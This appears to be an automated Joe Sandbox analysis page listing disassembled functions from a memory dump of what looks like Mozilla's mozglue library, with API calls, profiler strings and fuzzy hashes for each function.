Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: f58eccd1e2547dd667e23dfdbbc60ffb7233c2ba52d4ab4c79e11a78e2029949
Instruction ID: 62d75c09e53e3c501b4d3314e281a67c9e103753b0d5836d7bf01f6914565564
Opcode Fuzzy Hash: f58eccd1e2547dd667e23dfdbbc60ffb7233c2ba52d4ab4c79e11a78e2029949
Instruction Fuzzy Hash: 8F11A131604254DFCB00AF14CC4CB6ABBF4FBC9328FC20619E84597A50D774A804CB99

Function 6C520C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C520CD5

Part of subcall function 6C50F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C50F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C520D40
free.MOZGLUE ref: 6C520DCB

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

free.MOZGLUE ref: 6C520DDD
free.MOZGLUE ref: 6C520DF2

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: b9f1d451904e071d0043331289929d1b9dab10b377b84f4fe7de7b10ec6bee0f
Instruction ID: 05fff933d755712c158fd654fd82396f92458693b3c2ef5b59cfe2e2ea73d7f3
Opcode Fuzzy Hash: b9f1d451904e071d0043331289929d1b9dab10b377b84f4fe7de7b10ec6bee0f
Instruction Fuzzy Hash: 2A41187190A784CBD720CF29C48079AFBE5BFC9714F518A2EE8D887750D774A845CB82

Function 6C510800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C510838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C51084C
EnterCriticalSection.KERNEL32(?), ref: 6C5108AF
LeaveCriticalSection.KERNEL32(?), ref: 6C5108BD
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C5108D5

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: fee7d5e84e7d0ba5af816b1a68d687e9b7f2471e4016a4792b0a32f0727b88f1
Instruction ID: 4e5f7f92009dd285a7af9c29a8e7687ab9215361b0851430fcd3b68541f128ee
Opcode Fuzzy Hash: fee7d5e84e7d0ba5af816b1a68d687e9b7f2471e4016a4792b0a32f0727b88f1
Instruction Fuzzy Hash: D021F231B082499BEF04DF65CC88BAE73B9BFC4708F940529E509A7A40DF75A8158BD4

Function 6C52CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CDA4

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

Part of subcall function 6C52D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C52CDBA,00100000,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D158
Part of subcall function 6C52D130: InitializeConditionVariable.KERNEL32(00000098,?,6C52CDBA,00100000,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CDC4

Part of subcall function 6C527480: ReleaseSRWLockExclusive.KERNEL32(?,6C5315FC,?,?,?,?,6C5315FC,?), ref: 6C5274EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52CECC

Part of subcall function 6C4ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C4ECAA2

Part of subcall function 6C51CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C52CEEA,?,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000), ref: 6C51CB57
Part of subcall function 6C51CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C51CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C52CEEA,?,?), ref: 6C51CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?,00000000,?), ref: 6C52D058

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 2ef53b228b6434f9395b7aa7b905f0eda60632a9e33fa6389d9f30af5822c901
Instruction ID: 2902b949aeb8918f4759fcd6c962dbc868010645aee1d02b08ccd4cbd59e6c29
Opcode Fuzzy Hash: 2ef53b228b6434f9395b7aa7b905f0eda60632a9e33fa6389d9f30af5822c901
Instruction Fuzzy Hash: 59D14D71A04B469FD718CF28C880B99F7E1BF89308F01866DD95987752EB31F9A5CB81

Function 6C4E1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C4E17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C4E18EE
free.MOZGLUE(?), ref: 6C4E1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4E194C

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 8b842a0d855b58e5268c5b0af0b88db5c864267e44afecef110610a496ddb1fc
Instruction ID: 217e7838c2e53087907c43c068332d5974817e67101c5fa79c10eee9798234c2
Opcode Fuzzy Hash: 8b842a0d855b58e5268c5b0af0b88db5c864267e44afecef110610a496ddb1fc
Instruction Fuzzy Hash: 0081BD70A112059FCB08CF68D894DAEBBB1FF89315F05466DE851AB752D730E849CBA2

Function 6C4F5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C4F5D40
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67
__aulldiv.LIBCMT ref: 6C4F5DB4
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 348b974e5562f03ae68c908c922fa127b59e482b2fe6b703d768d85cc09853de
Instruction ID: 77fa3a47cfa6e74ef20e546193986b6b62af70c4a1057a89734af9807bb22736
Opcode Fuzzy Hash: 348b974e5562f03ae68c908c922fa127b59e482b2fe6b703d768d85cc09853de
Instruction Fuzzy Hash: 2F516171E011198FCF08CF68CC54EAEBBB2FB85304F5A861DD865A7B91C7706946CBA4

Function 6C4DCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4DCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C4DCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C4DCF4E

Strings

0, xrefs: 6C4DCF30

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: c58fd33a75997e4271e19459891d7e4beff0685fb622f0494bd26d71b54ae881
Instruction ID: 9dcfe6377f33820f80d7c9f88ee371aabf01a07bc61ae29bf4b730ddd3acd940
Opcode Fuzzy Hash: c58fd33a75997e4271e19459891d7e4beff0685fb622f0494bd26d71b54ae881
Instruction Fuzzy Hash: 5A51F275A00216CFCB00DF18C8A0E9AB7A5EF99304F1A859DD8595F391D771BD06CBE0

Function 6C5377D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5377FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C537829

Part of subcall function 6C50CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C4D31A7), ref: 6C50CC45
Part of subcall function 6C50CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C4D31A7), ref: 6C50CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C53789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5378CF

Part of subcall function 6C4D4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4D4E5A
Part of subcall function 6C4D4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4D4E97

Part of subcall function 6C4D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C513EBD,6C513EBD,00000000), ref: 6C4D42A9

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 15d0dff36e48aff2672679de65cb2820a04b6fb4f891c78e181ea1d4059c63d8
Instruction ID: 19fec33356f4042df9c3222076b6b7aefad17e478c77b6234113b98c4945b272
Opcode Fuzzy Hash: 15d0dff36e48aff2672679de65cb2820a04b6fb4f891c78e181ea1d4059c63d8
Instruction Fuzzy Hash: 8B419271904746DBD300DF29C88096AFBF4FFCA254F604A1DE4A987650EB70E559CBD2

Function 6C516470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5182BC,?,?), ref: 6C51649B

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5164A9

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C51653F
free.MOZGLUE(?), ref: 6C51655A

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: be4d7da87eca18513b5b250e1b43df9153d5adcf6539c9d35dfa461125e30403
Instruction ID: 9b245d6fd10c9d1d06af1f5f27ad3b9c753e7a9e1c8f7e79089778fb14de1616
Opcode Fuzzy Hash: be4d7da87eca18513b5b250e1b43df9153d5adcf6539c9d35dfa461125e30403
Instruction Fuzzy Hash: CD3192B5A083059FD700DF14D884A9BBBE4FFD8314F41842EE89A97751EB34E909CB92

Function 6C50FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?), ref: 6C50FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?), ref: 6C50FFF5
free.MOZGLUE(?,?,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?), ref: 6C51001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C52D019,?,?,?,?,?,00000000,?,6C51DA31,00100000,?,?), ref: 6C51002A

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: a149b102babba798f9ff6286ccb36d4675ef398ffe8a3001b83e2abc91aea669
Instruction ID: 99d04b869f29be0ca19d5b413b4f1c55629f073a6cb6ee33d7baeca538903683
Opcode Fuzzy Hash: a149b102babba798f9ff6286ccb36d4675ef398ffe8a3001b83e2abc91aea669
Instruction Fuzzy Hash: E221F1B2B002159FD7089E689C848AEB7BAEBC53247254338E425D7780EB30AD0183E4

Function 6C4EB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4EB4F5
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4EB502
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C4EB542
free.MOZGLUE(?), ref: 6C4EB578

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 08ca15f70d40ecfbd3a0c7fa69d47b5c680fe669691201a562a601a9582ed100
Instruction ID: 9669f87948b761f7414db17a782b4c70a1912c5893f4034b5b6bf1d8ff4c1abc
Opcode Fuzzy Hash: 08ca15f70d40ecfbd3a0c7fa69d47b5c680fe669691201a562a601a9582ed100
Instruction Fuzzy Hash: 2811C030A04B41C7D712CF29C904F62B3B0FF9A32AF96970AD84953A01EBB1A1C5C798

Function 6C513DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C4DF20E,?), ref: 6C513DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C4DF20E,00000000,?), ref: 6C513DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C513E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C513E0E

Part of subcall function 6C50CC00: GetCurrentProcess.KERNEL32(?,?,6C4D31A7), ref: 6C50CC0D
Part of subcall function 6C50CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C4D31A7), ref: 6C50CC16

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 0e09480a334a0569034964d65b9622b48cafa0f3db79abd914e0dd174b48b742
Instruction ID: 058649f14acf1def78cac8b1e269350aceeee4c275fa1b4db5eb8aeb2e01ae3a
Opcode Fuzzy Hash: 0e09480a334a0569034964d65b9622b48cafa0f3db79abd914e0dd174b48b742
Instruction Fuzzy Hash: 42F01271600208BBD700AB54DC45DAB376DEF86624F454020FD0857741D775BE1996FB

Function 6C522050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C52201B,?,?,?,?,?,?,?,6C521F8F,?,?), ref: 6C522064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C52208E
free.MOZGLUE(?,?,?,00000000,?,6C52201B,?,?,?,?,?,?,?,6C521F8F,?,?), ref: 6C5220A3

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 24d2cd46e4179c829dc1f1ddedd9a5f168f704b63f01ff979a29d83cb84f4a01
Instruction ID: 0997b760b8da0b83814a40e0583a75971d263146d3fc7ae9df4edc545a146a52
Opcode Fuzzy Hash: 24d2cd46e4179c829dc1f1ddedd9a5f168f704b63f01ff979a29d83cb84f4a01
Instruction Fuzzy Hash: F9F0B4752007009BC7119F16DC8CB5BBBF8EF86334F15011AE50687710C776A806CB9A

Function 6C5285B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5285D3

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C528725

Strings

map/set<T> too long, xrefs: 6C528720

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: c8d24721557e90062b8218c3c3a9468ac1de74509a9990758c16284bf67071d0
Instruction ID: 4f385dedfb98fabe8df844aeb02051127d12919e1f1133b2009063d432a9556c
Opcode Fuzzy Hash: c8d24721557e90062b8218c3c3a9468ac1de74509a9990758c16284bf67071d0
Instruction Fuzzy Hash: 0F515575A00651CFD701CF58C884A59BBF1BF99318F18C18AD8595BB92C339F885CF92

Function 6C4DBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C4DBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4DBE8F

Strings

0, xrefs: 6C4DBE5B

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 3fbdef1a850ca7a56c984dc1bf4d8afb2d0b8183ef3f25e9f3380088a8db82ed
Instruction ID: c88cef075f4fa102286f285d45a5ca668dd5e84417fdd9d6f7db4a4a2625f908
Opcode Fuzzy Hash: 3fbdef1a850ca7a56c984dc1bf4d8afb2d0b8183ef3f25e9f3380088a8db82ed
Instruction Fuzzy Hash: BC418F71909745CFC701EF28C491E9BB7F4AF8A348F018A1DF985A7611D730E9598B82

Function 6C513CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C513D19
mozalloc_abort.MOZGLUE(?), ref: 6C513D6C

Strings

d, xrefs: 6C513D58

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: cd8c6bb0fa601f5d34fbf9696ba13a16bea354c52a3fa1c5b758cf0b56afb9bf
Instruction ID: 798184d4731e7365e791aebf73fce770570e0db22dff71d511fec8476529562e
Opcode Fuzzy Hash: cd8c6bb0fa601f5d34fbf9696ba13a16bea354c52a3fa1c5b758cf0b56afb9bf
Instruction Fuzzy Hash: 56110831E18648DBEB009F69CC284EDB775EF86358B858219DC4497A01FB30A584C390

Function 6C4E4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4E44B2,6C55E21C,6C55F7F8), ref: 6C4E473E
